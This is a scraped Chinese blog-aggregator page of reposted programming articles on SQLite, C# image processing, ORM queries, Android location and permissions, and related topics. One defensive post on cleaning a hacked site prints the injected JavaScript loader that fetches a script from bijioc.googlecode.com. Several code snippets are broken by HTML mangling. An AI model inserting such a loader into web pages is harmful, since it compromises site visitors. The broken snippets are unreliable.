[转载]SQLite学习手册(内存数据库)

mikel阅读(889)

[转载]SQLite学习手册(内存数据库) – Stephen_Liu – 博客园.

一、内存数据库:

SQLite中,数据库通常是存储在磁盘文件中的。然而在有些情况下,我们可以让数据库始终驻留在内存中。最常用的一种方式是在调用SQLite3_open()的时候,数据库文件名参数传递”:memory:”,如:
 rc = sqlite3_open(“:memory:“, &db);
在调用完以上函数后,不会有任何磁盘文件被生成,取而代之的是,一个新的数据库在纯内存中被成功创建了。由于没有持久化,该数据库在当前数据库连接被关 闭后就会立刻消失。需要注意的是,尽管多个数据库连接都可以通过上面的方法创建内存数据库,然而它们却是不同的数据库,相互之间没有任何关系。事实上,我 们也可以通过Attach命令将内存数据库像其他普通数据库一样,附加到当前的连接中,如:
ATTACH DATABASE ‘:memory:‘ AS aux1;

二、临时数据库:

在调用sqlite3_open()函数或执行ATTACH命令时,如果数据库文件参数传的是空字符串,那么一个新的临时文件将被创建作为临时数据库的底层文件,如:
rc = sqlite3_open(“”, &db);

ATTACH DATABASE ” AS aux2;
和内存数据库非常相似,两个数据库连接创建的临时数据库也是各自独立的,在连接关闭后,临时数据库将自动消失,其底层文件也将被自动删除。
尽管磁盘文件被创建用于存储临时数据库中的数据信息,但是实际上临时数据库也会和内存数据库一样通常驻留在内存中,唯一不同的是,当临时数据库中数据量过 大时,SQLite为了保证有更多的内存可用于其它操作,因此会将临时数据库中的部分数据写到磁盘文件中,而内存数据库则始终会将数据存放在内存中。

[原创]网站被恶意弹出bijioc.googlecode.com注入解决办法

mikel阅读(980)

刚刚发现自己的网站访问时,总是提示弹出一个SVN的窗口

上面的地址是 http://bijioc.googlecode.com/

看来是被恶意js注入了,

目前网站用的是dedecms,destoon的程序,于是百度一下,发现中招的还不少

原来是被在引用的js文件中注入了如下代码:

document.write(unescape("%3Cscript src='http://bijioc.googlecode.com/svn/trunk/js/navigatenormal.js?v="+(new Date().toDateString().replace(/\s/g, ''))+".js' type='text/javascript'%3E%3C/script%3E"));

下面说下我清理过程,首先还是打开我们网站的主页,依然是弹出那个可恶的窗口,关闭,然后用查看下网页源码没有发现异常,那是因为这段代码是利用js输出的,需要查看生成后的最终代码,可以利用firefox中的web developer插件中查看源代码中的查看处理后的源码项,就发现居然在头部引用了一个如下格式的js脚本:

<script type="text/javascript" src="static/js/common.js?9VJ"/>
<script type="text/javascript" src="static/js/common.js?9VJ">// <![CDATA[
<script type="text/javascript" src="http://bijioc.googlecode.com/svn/trunk/js/navigatebbs.js?v=WedFeb292012.js"/>

接下来就是查找被注入的js文件是哪个了,以上面的为例就是common.js文件了,以此类推,依次排查有问题的网站页面源码,只要寻找生成后的页面代码中存在bijioc.googlecode.com前面的js文件修改就行了,为了方便大家总结下我的网站被注入的dedecms的js路径是 /站点根目录/include/dedeajax2.js ;destoon的js路径是/站点目录/file/script/common.js; discuz的js路径/站点目录/static/js/common.js;

最后还要提醒大家及时修改ftp的密码和数据库密码,同时排查空间中是不是有木马程序,因为既然js文件被人修改说明网站的密码已经被人破解,能够上场文件了,一定存在木马,要彻底清查。

[转载]PetShop5.0下载

mikel阅读(1640)

[转载]PetShop5.0 – ^_^漂…… – 博客园.

基于.NET Framework 3.5的Petshop petshop5.0下载官网下载地址

Petshop5.0官网下载

点击这里直接下载Petshop5.0                          如果官网下载较慢,请点击这里本地下载

点击这里下载Petshop5.0详解文档

简介

基于.NET Framework 3.5的Petshop,

使用LINQ to SQL改进数据访问层

PetShop.Model.DataContext.MSPetShop4DataContext 继承System.Data.Linq.DataContext

PetShop.Model.ProductInfo与PetShop.Model.CategoryInfo实体类分别映射数据库表

PetShop.Model.ProductInfo其中的Category属性存在一对一的关系

PetShop.Model.CategoryInfo中的Products属性存在一对多的关系

使用WCF来提供RSS,

web/FeedService.svc目录下

PetShop.SyndicationFeeds

并在UI层上做一些改进,如使用ASP.NET AJAX,ListView控件等。

PetShop5.0下载官网

[转载]C#图片处理常见方法性能比较

mikel阅读(1152)

转载C#图片处理常见方法性能比较 – 杨盛超 – 博客园.

在.NET编程中,由于GDI+的出现,使得对于图像的处理功能大大增强。在文通过一个简单黑白处理实例介绍在.NET中常见的图片处理方法和原理并比较各种方法的性能。

 

黑白处理原理:彩色图像处理成黑白效果通常有3种算法;

(1).最大值法: 使每个像素点的 R, G, B 值等于原像素点的 RGB (颜色值) 中最大的一个;

(2).平均值法: 使用每个像素点的 R,G,B值等于原像素点的RGB值的平均值;

(3).加权平均值法: 对每个像素点的 R, G, B值进行加权

自认为第三种方法做出来的黑白效果图像最 “真实”.

 

1.GetPixel方法

GetPixel(i,j)和SetPixel(i, j,Color)可以直接得到图像的一个像素的Color结构,但是处理速度比较慢.

///

&nbsp;

&nbsp;

<summary> /// 像素法
/// </summary>

&nbsp;

&nbsp;

&nbsp;

///private void PixelFun(Bitmap curBitmap)
{
int width = curBitmap.Width;
int height = curBitmap.Height;
for (int i = 0; i {
for (int j = 0; j &lt; height; j++)
{
Color curColor = curBitmap.GetPixel(i, j);
int ret = (int)(curColor.R * 0.299 + curColor.G * 0.587 + curColor.B * 0.114);
curBitmap.SetPixel(i, j, Color.FromArgb(ret, ret, ret));
}
}
}

这里提一下,在循环次数控制时尽量不要用i<curBitmap.Width做循环条件,而是应当将其取出保存到一个变量中,这样循环时不用每次从curBitmp中取Width属性,从而提高性能。

尽管如此,直接提取像素法对大像素图片处理力不从心,处理一张1440*900的图片耗时2182ms.本人配置单:

处理之前截图:


处理后:

 

可以直观地看出用时间2056ms.多次测试有少许波动。

2.内存拷贝法

内存拷贝法就是采用System.Runtime.InteropServices.Marshal.Copy将图像数据拷贝到数组中,然后进行处理,这不需要直接对指针进行操作,不需采用unsafe,处理速度和指针处理相差不大,处理一副1440*900的图像大约需要34ms

内存拷贝发和指针法都需用到的一个类:BitmapData

BitmapData类

BitmapData对象指定了位图的属性

1.       Height属性:被锁定位图的高度.

2.       Width属性:被锁定位图的高度.

3.       PixelFormat属性:数据的实际像素格式.

4.       Scan0属性:被锁定数组的首字节地址,如果整个图像被锁定,则是图像的第一个字节地址.

5.       Stride属性:步幅,也称为扫描宽度.

如上图所示,数组的长度并不一定等于图像像素数组的长度,还有一部分未用区域,这涉及到位图的数据结构,系统要保证每行的字节数必须为4的倍数.

假设有一张图片宽度为6,因为是Format24bppRgb格式(每像素3字节。在以下的讨论中,除非特别说明,否则Bitmap都被认为是24位RGB), 显然,每一行需要6*3=18个字节存储。对于Bitmap就是如此。但对于BitmapData,虽然BitmapData.Width还是等于 Bitmap.Width,但大概是出于显示性能的考虑,每行的实际的字节数将变成大于等于它的那个离它最近的4的整倍数,此时的实际字节数就是 Stride。就此例而言,18不是4的整倍数,而比18大的离18最近的4的倍数是20,所以这个BitmapData.Stride = 20。显然,当宽度本身就是4的倍数时,BitmapData.Stride = Bitmap.Width * 3。

画个图可能更好理解(此图仅代表PixelFormat= PixelFormat. Format24bppRgb时适用,每个像素占3个字节共24位)。R、G、B 分别代表3个原色分量字节,BGR就表示一个像素。为了看起来方便我在每个像素之间插了个空格,实际上是没有的。X表示补足4的倍数而自动插入的字节。为 了符合人类的阅读习惯我分行了,其实在计算机内存中应该看成连续的一大段。

Scan0

|-------Stride-----------|
|-------Width---------|  |
BGR BGR BGR BGR BGR BGR XX
BGR BGR BGR BGR BGR BGR XX
BGR BGR BGR BGR BGR BGR XX
.
则对于Format24bppRgb格式,满足:

BitmapData.Width*3 + 每行未使用空间(上图的XX)=BitmapData.Stride

 

同理,很容易推倒对于Format32bppRgb或Format32bppPArgb格式,满足:

BitmapData.Width*4 + 每行未使用空间(上图的XX)=BitmapData.Stride

///

&nbsp;

<summary> /// 内存拷贝法
/// </summary>

&nbsp;

&nbsp;

///private unsafe void MemoryCopy(Bitmap curBitmap)
{
int width = curBitmap.Width;
int height = curBitmap.Height;

Rectangle rect = new Rectangle(0, 0, curBitmap.Width, curBitmap.Height);
System.Drawing.Imaging.BitmapData bmpData = curBitmap.LockBits(rect, System.Drawing.Imaging.ImageLockMode.ReadWrite,PixelFormat.Format24bppRgb);//curBitmap.PixelFormat

IntPtr ptr = bmpData.Scan0;
int bytesCount = bmpData.Stride * bmpData.Height;
byte[] arrDst = new byte[bytesCount];
Marshal.Copy(ptr, arrDst, 0, bytesCount);

for (int i = 0; i &lt; bytesCount; i+=3)
{
byte colorTemp = (byte)(arrDst[i + 2] * 0.299 + arrDst[i + 1] * 0.587 + arrDst[i] * 0.114);
arrDst[i] = arrDst[i + 1] = arrDst[i + 2] = (byte)colorTemp;

}
Marshal.Copy(arrDst, 0, ptr, bytesCount);
curBitmap.UnlockBits(bmpData);
}

3.指针法

指针在C#中属于unsafe操作,需要用unsafe括起来进行处理,速度最快,处理一副180*180的图像大约需要18ms。


采用byte* ptr = (byte*)(bmpData.Scan0); 获取图像数据根位置的指针,然后用bmpData.Scan0获取图像的扫描宽度,就可以进行指针操作了。

///

<summary> /// 指针法
/// </summary>

&nbsp;

///private unsafe void PointerFun(Bitmap curBitmap)
{
int width = curBitmap.Width;
int height = curBitmap.Height;

Rectangle rect = new Rectangle(0, 0, curBitmap.Width, curBitmap.Height);
System.Drawing.Imaging.BitmapData bmpData = curBitmap.LockBits(rect, System.Drawing.Imaging.ImageLockMode.ReadWrite,PixelFormat.Format24bppRgb );//curBitmap.PixelFormat
byte temp = 0;
int w = bmpData.Width;
int h = bmpData.Height;
byte* ptr = (byte*)(bmpData.Scan0);
for (int i = 0; i &lt; h; i++)
{
for (int j = 0; j {
temp = (byte)(0.299 * ptr[2] + 0.587 * ptr[1] + 0.114 * ptr[0]);
ptr[0] = ptr[1] = ptr[2] = temp;
ptr +=3; //Format24bppRgb格式每个像素占3字节
}
ptr += bmpData.Stride - bmpData.Width * 3 ;//每行读取到最后“有用”数据时,跳过未使用空间XX
}
curBitmap.UnlockBits(bmpData);
}
以下是多组测试数据:

1920*1080
1440*900
1208*800
1024*768
500*544
200*169
直接提取像素法
1705ms
1051ms
1710ms
1340ms
450ms
32ms
内存拷贝法
54ms
33ms
26ms
20ms
7ms
0ms
指针法
28ms
17ms
14ms
10ms
3ms
0ms

由此可见,指针法与直接提取像素法效率竟隔两个数量级!

比较以上方法优缺点:

1.总体上性能 指针法略强于内存拷贝法,直接提取像素法性能最低;

2.对大图片处理指针法和内存拷贝法性能提升明显,对小图片都比较快;

3.直接提取像素法简单易用,而且不必关注图片像素格式(PixelFormat),为安全代码;内存拷贝法和指针法如果不改变原图片像素格式要针对不同的像素格式做不同的处理,且为不安全代码。

参考资料:http://www.cnblogs.com/Juny/archive/2008/04/08/1143001.html

另外,我正在参考各种资料,不断完善各种图形处理方法和性能,写成内库。

[转载]使用操作符重载生成ORM实体类的SQL条件语句

mikel阅读(1149)

[转载]使用操作符重载,生成ORM实体类的SQL条件语句 – 深蓝医生 – 博客园.

ORM框架的一个不可或缺的功能就是根据实体类,生成操作数据库的SQL语句,这其中,最难处理的就是那些复杂的SQL条件比较语句。比如,有下面这样一个SQL语句:

SELECT [id],[BankCode],[CityCode],[FundCode],[FundName],[FundReviews],[EndDagte],[addDate]
FROM [FundReviews]
WHERE (
([CityCode]=@CP1 OR [BankCode]=@CP2)
AND ([FundCode]=@CP3 OR [BankCode]=@CP4)
)

这个复杂的查询条件由两个OR子条件最后组合成一个AND 条件的,因此它有3组条件:

1:[CityCode]=@CP1 OR [BankCode]=@CP2;

2:[FundCode]=@CP3 OR [BankCode]=@CP4;

3:1 AND 2 ;

而条件1其实就是 Condition1 OR Condition2,这又是一个条件组合。

我们发现,尽管SQL的条件语句可能很复杂,但这些条件却是由一些子条件组合成的,或者说由一组条件组合成一个新的条件,大家想想,这是不是典型的“组合模式”阿?

 

在PDF.NET框架的ORM组件中,有一个专门处理条件的对象OQLCompare ,它就是根据“组合模式”设计的,我们来看看怎么由它来构造这个查询条件:

1,采用AND,OR重载:

FundReviews p = new FundReviews();//实例化一个实体类
OQL q = new OQL(p); //实例化一个OQL对象
Console.WriteLine("OQLCompare 复杂比较条件表达式测试---------");

OQLCompare cmp = new OQLCompare(p);
OQLCompare cmpResult = (cmp.Comparer(p.CityCode, OQLCompare.CompareType.Equal, "021")
| cmp.Comparer(p.BankCode, OQLCompare.CompareType.Equal, "008"))
&amp; (cmp.Comparer(p.FundCode, OQLCompare.CompareType.Equal, "KF008")
| cmp.Comparer(p.BankCode, OQLCompare.CompareType.Equal, "008"));

q.Select().Where(cmpResult);

Console.WriteLine("SQL=" + q.ToString());

在OQL中,采用了类似SQL的语法,也是

 Select([属性列表]).Where([条件表达式]).OrderBy([排序字段]).GroupBy([分组字段])

其中[条件表达式]就可以使用OQLCompare对象来构造。由于OQLCompare对象Comparer函数返回的仍然是一个OQLCompare对象,所以可以利用这个特点,采用组合模式,构造出非常复杂的SQL条件语句。

 

我们看到OQL采用了类似函数式的语法风格,但在[条件表达式]的构造过程中,还是显得很冗长,我们可以继续对OQLCompare对象进行重构:

///

<summary> /// 设置等于某个实体属性的比较条件
/// </summary>

&nbsp;

///当前实体比较对象 ///要比较的值 /// 构造的实体比较对象
public static OQLCompare operator ==(OQLCompare compare, object Value)
{
return BuildOperator(compare, Value, " = ");
}

///

<summary> /// 设置不等于某个实体属性的比较条件
/// </summary>

&nbsp;

///当前实体比较对象 ///要比较的值 /// 构造的实体比较对象
public static OQLCompare operator !=(OQLCompare compare, object Value)
{
return BuildOperator(compare, Value, " &lt;&gt; ");
}

///

<summary> /// 根据实体对象的属性,获取新的条件比较对象
/// </summary>

&nbsp;

//////
public OQLCompare Property(object field)
{
OQLCompare cmp = new OQLCompare();
cmp.CompareString = this.currPropName ;
return cmp;
}

private static OQLCompare BuildOperator(OQLCompare compare, object Value,string operatorString)
{
string paraName = compare.GetNewParameterName();
compare.CompareString += operatorString + paraName;
compare.compareValueList.Add(paraName.Substring(1), Value);
return compare;
}

我们可以采用类似的方式,继续实现 >=,>,

2,采用SQL比较符号的重载:

//对象 p 为实体类
OQLCompare cmp2 = new OQLCompare(p);
OQLCompare cmpResult2 =

现在这个SQL条件的构造过程是不是清晰多了?这就是操作符重载的魅力:)

注:本文介绍的这个OQL特性仅在PDF.NET Ver 4.3版本受支持,有关PDF.NET的版本信息,请看官网介绍:
http://www.pwmis.com/sqlmap
有关PDF.NET的开源信息,请参看我的博客文章:

[转载]Android基站定位源代码

mikel阅读(1102)

[转载]Android基站定位源代码 – 移动开发团队 – 博客园.

经过几天的调研以及测试,终于解决了联通2G、移动2G、电信3G的基站定位代码。团队里面只有这些机器的制式了。下面就由我来做一个详细的讲解吧。
1 相关技术内容
Google Android Api里面的TelephonyManager的管理。
联通、移动、电信不同制式在获取基站位置的代码区别。
通过基站的基本信息,通过Google Gears获取对应的GPS经纬度。
通过Google Map API根据GPS经纬度获取当前位置。

2 目前存在的几个问题
由于得到的GPS经纬度在Google Map上面显示需要偏移,这块暂时没有进行处理。
没有使用PhoneStateListener来对状态实时进行更新。
没有使用线程异步获取数据
没有使用服务的方式来实时获取数据
所以如果是商业使用的话,还需进一步修改。

3 当然本部分代码已经移植到我们的家庭卫士的项目中了,2提到的问题全部解决了。

下面我针对第一部分的四大内容进行代码注解。

1 Google Android Api里面的TelephonyManager的管理。

TelephonyManager tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);

通过这个方式就可以得到TelephonyManager接口。
这个接口的源代码可以通过设置在项目里面查看,这里不具体附上了。
得到TelephonyManager后,由于针对不同的运营商,代码有所不同,所以需要判断getNetworkType()
在源代码里面有如下的类型定义:

/** Network type is unknown */
public static final int NETWORK_TYPE_UNKNOWN = 0;
/** Current network is GPRS */
public static final int NETWORK_TYPE_GPRS = 1;
/** Current network is EDGE */
public static final int NETWORK_TYPE_EDGE = 2;
/** Current network is UMTS */
public static final int NETWORK_TYPE_UMTS = 3;
/** Current network is CDMA: Either IS95A or IS95B*/
public static final int NETWORK_TYPE_CDMA = 4;
/** Current network is EVDO revision 0*/
public static final int NETWORK_TYPE_EVDO_0 = 5;
/** Current network is EVDO revision A*/
public static final int NETWORK_TYPE_EVDO_A = 6;
/** Current network is 1xRTT*/
public static final int NETWORK_TYPE_1xRTT = 7;
/** Current network is HSDPA */
public static final int NETWORK_TYPE_HSDPA = 8;
/** Current network is HSUPA */
public static final int NETWORK_TYPE_HSUPA = 9;
/** Current network is HSPA */
public static final int NETWORK_TYPE_HSPA = 10;

2 联通、移动、电信不同制式在获取基站位置的代码区别。

这部分是我实际测试出来的,经过无数次的拆机,放卡,才实现了不同制式的完美实现。
代码如下:

TelephonyManager tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
int type = tm.getNetworkType();
//中国电信为CTC
//NETWORK_TYPE_EVDO_A是中国电信3G的getNetworkType
//NETWORK_TYPE_CDMA电信2G是CDMA
if (type == TelephonyManager.NETWORK_TYPE_EVDO_A || type == TelephonyManager.NETWORK_TYPE_CDMA || type ==TelephonyManager.NETWORK_TYPE_1xRTT)
{
}
//移动2G卡 + CMCC + 2
//type = NETWORK_TYPE_EDGE
else if(type == TelephonyManager.NETWORK_TYPE_EDGE)
{
}
//联通的2G经过测试 China Unicom 1 NETWORK_TYPE_GPRS
else if(type == TelephonyManager.NETWORK_TYPE_GPRS)
{

}
else
{
tv.setText("Current Not Support This Type.");
}

3 通过基站的基本信息,通过Google Gears获取对应的GPS经纬度。
这部分前面的两篇文章都有提到,代码参考了网友们的代码,感谢感谢。

private Location callGear(ArrayList cellID) {
if (cellID == null) return null;
DefaultHttpClient client = new DefaultHttpClient();
HttpPost post = new HttpPost(
"http://www.google.com/loc/json");
JSONObject holder = new JSONObject();
try {
holder.put("version", "1.1.0");
holder.put("host", "maps.google.com");
holder.put("home_mobile_country_code", cellID.get(0).mobileCountryCode);
holder.put("home_mobile_network_code", cellID.get(0).mobileNetworkCode);
holder.put("radio_type", cellID.get(0).radioType);
holder.put("request_address", true);
if ("460".equals(cellID.get(0).mobileCountryCode))
holder.put("address_language", "zh_CN");
else
holder.put("address_language", "en_US");
JSONObject data,current_data;
JSONArray array = new JSONArray();
current_data = new JSONObject();
current_data.put("cell_id", cellID.get(0).cellId);
current_data.put("location_area_code", cellID.get(0).locationAreaCode);
current_data.put("mobile_country_code", cellID.get(0).mobileCountryCode);
current_data.put("mobile_network_code", cellID.get(0).mobileNetworkCode);
current_data.put("age", 0);
array.put(current_data);
if (cellID.size() &gt; 2) {
for (int i = 1; i &lt; cellID.size(); i++) {
data = new JSONObject();
data.put("cell_id", cellID.get(i).cellId);
data.put("location_area_code", cellID.get(i).locationAreaCode);
data.put("mobile_country_code", cellID.get(i).mobileCountryCode);
data.put("mobile_network_code", cellID.get(i).mobileNetworkCode);
data.put("age", 0);
array.put(data);
}
}
holder.put("cell_towers", array);
StringEntity se = new StringEntity(holder.toString());
Log.e("Location send", holder.toString());
post.setEntity(se);
HttpResponse resp = client.execute(post);
HttpEntity entity = resp.getEntity();

BufferedReader br = new BufferedReader(
new InputStreamReader(entity.getContent()));
StringBuffer sb = new StringBuffer();
String result = br.readLine();
while (result != null) {
Log.e("Locaiton receive", result);
sb.append(result);
result = br.readLine();
}
if(sb.length() return null;
data = new JSONObject(sb.toString());
data = (JSONObject) data.get("location");

Location loc = new Location(LocationManager.NETWORK_PROVIDER);
loc.setLatitude((Double) data.get("latitude"));
loc.setLongitude((Double) data.get("longitude"));
loc.setAccuracy(Float.parseFloat(data.get("accuracy").toString()));
loc.setTime(GetUTCTime());
return loc;
} catch (JSONException e) {
return null;
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
} catch (ClientProtocolException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return null;
}

4 通过Google Map API根据GPS经纬度获取当前位置。
本部分代码参考了简单基站定位程序 ,感谢雷一兄这么好的文章。同时雷一兄的排版真的非常好看,清晰明了。

private String getLocation(Location itude) throws Exception {
String resultString = "";

/** 这里采用get方法,直接将参数加到URL上 */
String urlString = String.format("http://maps.google.cn/maps/geo?key=abcdefg&amp;q=%s,%s", itude.getLatitude(), itude.getLongitude());
Log.i("URL", urlString);

/** 新建HttpClient */
HttpClient client = new DefaultHttpClient();
/** 采用GET方法 */
HttpGet get = new HttpGet(urlString);
try {
/** 发起GET请求并获得返回数据 */
HttpResponse response = client.execute(get);
HttpEntity entity = response.getEntity();
BufferedReader buffReader = new BufferedReader(new InputStreamReader(entity.getContent()));
StringBuffer strBuff = new StringBuffer();
String result = null;
while ((result = buffReader.readLine()) != null) {
strBuff.append(result);
}
resultString = strBuff.toString();

/** 解析JSON数据,获得物理地址 */
if (resultString != null &amp;&amp; resultString.length() &gt; 0) {
JSONObject jsonobject = new JSONObject(resultString);
JSONArray jsonArray = new JSONArray(jsonobject.get("Placemark").toString());
resultString = "";
for (int i = 0; i &lt; jsonArray.length(); i++) {
resultString = jsonArray.getJSONObject(i).getString("address");
}
}
} catch (Exception e) {
throw new Exception("获取物理位置出现错误:" + e.getMessage());
} finally {
get.abort();
client = null;
}

return resultString;
}

5 最关键的出来了,附上代码吧。
AndroidPosition
补充一下:
AndroidMenifest.xml里面需要加上
android.permission.INTERNET、android.permission.ACCESS_COARSE_LOCATION、android.permission.READ_PHONE_STATE权限,否则会出错。
放在Application包前面。

 

6 图片看一下效果吧。

7 另外在提交数据到Google Gears的时候,格式如下
发送到Google的数据格式:
02-24 18:08:20.550: E/Location send(12892): {“address_language”:”zh_CN”,”host”:”maps.google.com”,”radio_type”:”cdma”,”home_mobile_country_code”:”460″,”home_mobile_network_code”:”13965″,”cell_towers”:[{“mobile_network_code”:”13965″,”location_area_code”:11,”cell_id”:1985,”age”:0,”mobile_country_code”:”460″}],”request_address”:true,”version”:”1.1.0″}

接收到Google的数据格式:
02-24 18:08:22.975: E/Locaiton receive(12892): {“location”:{“latitude”:43.8595097,”longitude”:125.3355736,”address”: {“country”:”中国”,”country_code”:”CN”,”region”:”吉林省”,”city”:”长春 市”,”street”:”文昌 路”,”street_number”:””},”accuracy”:1815.0},”access_token”:”2:_Kpk9mOFMgyWgLai:8iWlDpBYZsp4_VxO”}

-End-

[转载]一种简洁的非递归遍历树的常用算法

mikel阅读(1090)

[转载]一种简洁的非递归遍历树的常用算法 – slmk – 博客园.

树形结构是常用的数据结构,要遍历他一般使用递归算法。递归的好处是代码简洁;坏处是效率低,容易堆栈溢出。

要实现非递归遍历树,我们使用栈结构,基本实现思路是:从根开始逐层遍历。

思路:

1)将根节点压栈

2)循环检查栈是否为空

(1)如果为空,循环结束(遍历也结束了)

(2)如果不为空,出栈一个节点

3) 检查该节点是否是要找的节点

(1)如果是,退出循环,遍历结束

(2)如果不是,将该元素的下一层节点全部压栈。

4)继续执行2)

伪代码:

Stack<Node> stack=new Stack<Node>();
stack.push(root);
while(!stack.isEmpty())
{
    Node n=stack.pop();
    if(isMyNode(node))
    {
        //找到了
        break;
    }
    else
    {
        for(int i=0;i<n.Children;i++)
        {
            stack.push(n.Children[i]);
        }
    }
}

整个代码还算简洁:两个循环,一个栈结构搞定。其中循环的结束条件是关键:栈是否为空!
感悟:

现代语言的抽象能力只能到while循环层次,循环就是机器层面的最高级形式了,距离人的语言也太远了吧。

这也是算法的意义——在机器和人之间架起一座桥梁。

难道人的思维经过底层分解后也是这种简单的形式?

[转载]保护你的隐私,五种控制Android应用的权限的方法

mikel阅读(775)

[转载]保护你的隐私,五种控制Android应用的权限的方法-月光博客.

这篇文章目的在于介绍Android系统上控制权限的方法,读者只要使用过Android,或是对智能机平台有所了解,就能看懂,不需要专门的编程知识。

  1  为什么Android总是事无巨细地告诉你应用索取的每一项权限?

相比Apple,Microsoft严格控制生态系统(从苹果给开发者的”App Store Guideline”可见一斑),只允许通过官方应用商店安装应用,并对每份上传进行仔细地审查而言,Android的开放就意味着,Google需要向 用户提供一系列用于为自己负责的流程、工具。所以在安装应用前,Android总是要事无巨细地告诉你,应用肯需要控制什么权限。

同样,开发者也制作了一系列易用的工具,用以鉴别可疑的应用程序,或是控制权限。

Android权限

图1 Android 官方市场会强制提醒用

  Andoird哪里开放了?

在Android中,用户能自由从本地安装应用,自由地对SD卡进行操作,自由选择应用市场。

如果愿意放弃保修,用户还能轻易地实行root,解锁基带(baseband)。只有一些产品会严密地锁定bootloader(如摩托罗拉)。

最重要的是,因为ASOP(Android源代码开放计划)的存在,绝大部分的Android代码都是开源的,开发者可以由此对Android系统进行 深入的修改,甚至可以自行编写一个符合Android规范的系统实例(如Cyanogen Mod)。正是因为ASOP,这篇文章才可能介绍多达5种原理不同的权限控制方法。

图2, Android开源计划的标志

图2 Android开源计划的标志

  开放的风险

不考虑Symbian,Windows Phone 6.5(及以下)平台,那么几乎所有的智能手机病毒都是Android平台的,甚至官方Android Market也闹过几次乌龙。在国内水货横行的市场,情况更是火上浇油,不法业者可以在手机的ROM,甚至是bootloader中做好手脚,让用户有病无法医。

在Android中,用户可以允许系统安装来自”未知源”(也就是非Google官方的,或手机预置市场的)应用程序。于是,移动平台最重要的门神——数字签名就被绕过了。

图3 Android 允许未知安装未知来源的应用程

图3 Android 允许未知安装未知来源的应用程

  出于Android的开放性,也有不允许”未知源”的反例:亚马逊的Kindle Fire平板使用了深度定制的Android,它只允许安装来自亚马逊官方商店的应用程序。

图4 亚马逊的 Kindle Fire 仅允许通过自带的市场安装应用

图4 亚马逊的 Kindle Fire 仅允许通过自带的市场安装应用

 

  2  Android有哪些”权限”

首先需要明确一下Android中的种种”权限”。Android是在Linux内核上建立一个硬件抽象层(Android HAL),通过Dalvik以及各种库来执行android应用的。在手机启动时,首先需要由Bootloader(HTC手机上称作Hboot)引导 Linux及手机上各个硬件设备的驱动程序,之后才启动Android系统。所以其实我们会涉及到四种不同涵义的权限:

Android权限(Permission)

这指Android中的一系列”Android.Permission.*”对象,是本文的中心内容。

Google在Android框架内把各种对象(包括设备上的各类数据,传感器,拨打电话,发送信息,控制别的应用程序等)的访问权限进行了详细的划 分,列出了约一百条”Android.Permission”。应用程序在运行前必须向Android系统声明它将会用到的权限,否则Android将会 拒绝该应用程序访问通过该”Permission”许可的内容。

比方说,搜狗输入法提供了一个智能通讯录的功能,用户可以在输入联系人 拼音的前几个字符,或首字母,输入法就能自动呈现相关联系人的名字。为了实现这个功能,输入法必须声明它需要读取手机中联系人的能力,也就是在相关代码中 加上声明”android.permission.READ_CONTACTS”对象。

图5 搜狗输入法的智能联系人功能

图5 搜狗输入法的智能联系人功能

  原生Android只提供了对”一刀切”式的管理,要么同意使用,否则就根本就不安装应用程序。当用户遇到希望使用程序的同时,又想禁止部分Permission的场合,他就无路可走。

于是,不少开发者就捣鼓出了”第三条道路”;可惜的是,没有一种方法能同时做到既不需要将手机固件Root,又完全不涉及对原始应用程序进行反向工程的方法。

Root

Root指获得Android所在的Linux系统的Root(根)权限,有了根权限,你才能对Linux做出任意的修改。iOS中的越狱 (Jailbreak) 相当于获得iOS系统的Root权限(iOS是一种类Unix系统,和Linux都使用Root的概念)。在已Root的设备中,通常都是使用一个 叫”Superuser”(简称SU)的应用程序来向许可的程序授以Root权限。

Bootloader的解锁(Unlock)

利用数字签名,Bootloader可以限定只有正确签名的系统可以被引导。在修改固件以获得Root以前,解锁Bootloader通常是必须的。安装第三方修改、编译的固件也需要解锁Bootloader。

基带(Radio)解锁

在Android系统中,基带是上层软件与手机中无线设备(手机网络,Wi-Fi,蓝牙等)的驱动程序之间的中介。国外的网络运营商很喜欢锁定基带,从 而保证用户只能使用运营商自己指定的sim卡。在我国,锁定基带是非法的,手机制造商、网络运营商也不可以通过锁定基带的方法对待违约客户。iOS的”解 锁”就是解锁iOS中的基带软件。

为什么要控制Android权限

鱼和熊掌不可兼得,Android的世界有很多自由,坏人也能自由地做坏事。它的生态系统很强调自主:用户可以自主地减小风险,仅使用官方市场的应用程序,也可以自主地解除安全限制,从而获得更多自由。因此,在遇到坏事的时候,用户也不得不自主一下:

1, 抵制不道德,乃至非法行为

几乎所有的Android安全软件都能对来电、信息进行控制,以减少骚扰。

另一方面,很多应用都会要求它们实际功能以外的权限,表现在非(主动)告知地搜集设备序列号,位置信息,诱使用户默认地上传联系人列表等方面。

更坏一点的应用程序,则会踏入犯罪的范畴,比如能偷偷发出扣费信息,或是作为黑客的偷窥工具。

2, 减少恶意软件的损害

恶意软件即便潜伏成功,也难以获得权限,从而减少损失。

3, 用户有权自主地在抑制应用程序的部分权限时,继续使用该应用程序,而只承担由于自行设置不当而带来的后果。

用户拥有设备的所有权,因此有权自主控制设备上的内容、传感器等对象的访问;同时有权(不)运行,(不)编译设备上的应用程序。

大多数应用程序在运行时,并未达成主动告知的义务,是失误;然而即使主动告知,用户还是可以不理会。

为什么Android官方市场的强制提醒权限的行为不属于主动告知:

通过Android官方市场,”打包安装器”安装应用程序时,所显示的”权限”仅是在安装包内AndroidManifest.xml声明的值,而非应 用程序实际上会调用的内容。该值仅用来表明Android系统能向应用授予的最大可能的权限。即便一个”Hello World”式的应用程序,也可以在AndroidManifest.xml中声明所有可能的Android Permission。

这就是说,在AndroidManifest.xml中声明的值与应用程序实际调用的权限有关联,但不等同,且这种提示是由Android系统负责实施的强制行为。

正确的理解是:”应用程序(被迫地)让Android系统告知用户,它在AndroidManifest.xml中所声明的事项。”

这意味着应用程序在使用重要权限前,依然需要自行、主动地通知用户相关事宜。

图6  应用程序须要AndroidManifest.xml中声明调用到的权限

图6  应用程序须要AndroidManifest.xml中声明调用到的权限

   然而,即便只是让一半的应用程序达到以上的标准,也是不可能的。应用程序需要通过收集用户信息,程序的错误日志。从而统计用户的喜好,改进程序。另一方 面,这也是发送精确广告但不追溯到用户身份信息的方式,这一点对于免费应用而言,是极其重要的。我们之所以能知道不同型号手机的占有率,应用软件的流行 度,是与这样的统计不可分离的。

